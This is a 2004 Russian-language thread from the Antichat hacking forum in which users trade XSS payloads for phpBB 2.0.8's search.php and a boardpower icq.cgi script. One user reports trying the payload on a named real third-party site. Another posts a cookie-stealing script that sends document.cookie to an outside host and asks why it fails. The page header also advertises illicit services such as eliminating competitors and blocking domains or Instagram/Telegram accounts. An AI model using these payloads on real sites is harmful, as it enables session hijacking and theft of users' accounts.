Форум АНТИЧАТ - Xss в phpBB 2.0.8

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
Xss в phpBB 2.0.8

Опции темы

Поиск в этой теме

Опции просмотра

Xss в phpBB 2.0.8

05.08.2004, 15:28

Guest

Сообщений: n/a

Провел на форуме:

Репутация:

Xss в phpBB 2.0.8

В phpBB 2.0.8 есть уязвимость в search.php и показан пример </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">http://www.example.com/phpBB2/search.php?search_author='<script>alert(documen t.cookie)</script>[/QUOTE]<span id='postcolor'>
проверал на саитах но не на одново неработает, например:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">http://www.bpmdigitaldjgear.com/phpBB2/search.php?search_author='<script>alert('kkl&#39

;</script>[/QUOTE]<span id='postcolor'>

помогите, что делаю нетак?

06.08.2004, 11:39

Algol

Регистрация: 29.05.2002

Сообщений: 1,793

Провел на форуме:
2050916

Репутация: 0

Закрыта там эта бага...
Да все равно от нее толку - ноль

06.08.2004, 13:15

DDF

Новичок

Регистрация: 05.08.2004

Сообщений: 1

Провел на форуме:
0

Репутация: 0

Вот нашел boardpower баг работаюший если так
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">boardpower/icq.cgi?action=<script>javascript:alert(documen t.cookie);</script>[/QUOTE]<span id='postcolor'>
показивает как надо, но если так
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">boardpower/icq.cgi?action=%3Cscript%3Ewindow.location='http://antichat.ru/cgi-bin/s.jpg?Info='+document.cookie%3C/script%3E[/QUOTE]<span id='postcolor'>
то неработает.
почему  window.location неработает?

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Вопрос про эксплоит на форуме phpbb 2.0.8	dyx	Форумы	2	12.04.2005 00:12
Вопрос про заливку шелла в Powered by phpBB 2.0.8 © 2001 phpBB Group	onyx3	Форумы	38	15.02.2005 16:25
Что означает сия комбинация на форуме phpBB 2.0.6?	dump	Форумы	3	24.12.2004 18:06

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход